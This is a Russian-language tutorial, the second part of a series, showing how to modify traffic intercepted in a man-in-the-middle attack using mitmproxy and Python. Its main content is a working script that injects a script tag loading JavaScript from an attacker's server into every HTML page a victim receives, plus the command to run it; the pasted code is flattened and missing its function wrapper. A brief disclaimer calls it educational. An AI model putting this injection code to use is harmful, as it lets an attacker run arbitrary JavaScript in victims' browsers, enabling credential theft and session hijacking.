Ну что же. В первой части мы разобрались как нам провести MITM атаку и перехватить трафик. Теперь пора нам этот трафик модифицировать с помощью пакета mitmproxy и языка программирования Python. К стати mitmproxy имеет хороший API и мы можем на лету менять очень многое.
Вся информация предоставлена исключительно в ознакомительных целях. Автор не несет ответственности за любой возможный вред, причиненный информацией из данной статьи.
Собственно мы хотели внедрить свой javascript в html страницу пользователя, а точнее я предлагаю загрузить его пользователю. Добавим одной строчку.
<script src=«http://httpserverIP:8000/script.js»></script>
Как же это все работает. Набирая адрес сайта в браузере мы отправляем серверу запрос, обратно получаем ответ GET с генерированной html страницей и потом подгружаются картинки и т.д. Я конечно упрощаю все схему, но это не суть важно. Вот собственно сам заголовок ответа сервера:
(Status-Line):HTTP/1.1 200 OK Server:nginx/1.14.0 Date:Tue, 27 Nov 2018 19:41:12 GMT Content-Type:text/html; charset=UTF-8 Connection:keep-alive X-Powered-By:PHP/7.1.24 Vary:Accept-Encoding,Cookie Cache-Control:max-age=3, must-revalidate Content-Length:152471
text/html; charset=UTF-8 тут и говориться что это текст html который мы и хотим изменить. Не будем откладывать в долгий ящик, вот и сам код скрипта на питоне
from bs4 import BeautifulSoup from mitmproxy import http html = BeautifulSoup(flow.response.content, "html.parser") # парсим ответы сервера print(flow.response.headers["content-type"]) #пишем тип if flow.response.headers["content-type"] == 'text/html': # Если тип text/html script = html.new_tag( "script", src='http://httpserverIP:8000/script.js', type='application/javascript') #добавляем новый тег html.body.insert(0, script) flow.response.content = str(html).encode("utf8") #Обновляем ответ сервера и отсылаем пользователю print("Script injected.")
Beautiful Soup — это парсер для синтаксического разбора файлов HTML/XML, написанный на языке программирования Python. К сожалению я не смог найти нормальное описания API mitmproxy, так что если кто подскажет буду признателен. Далее запускаем все это дела с нашим скриптом:
mitmdump -s injector.py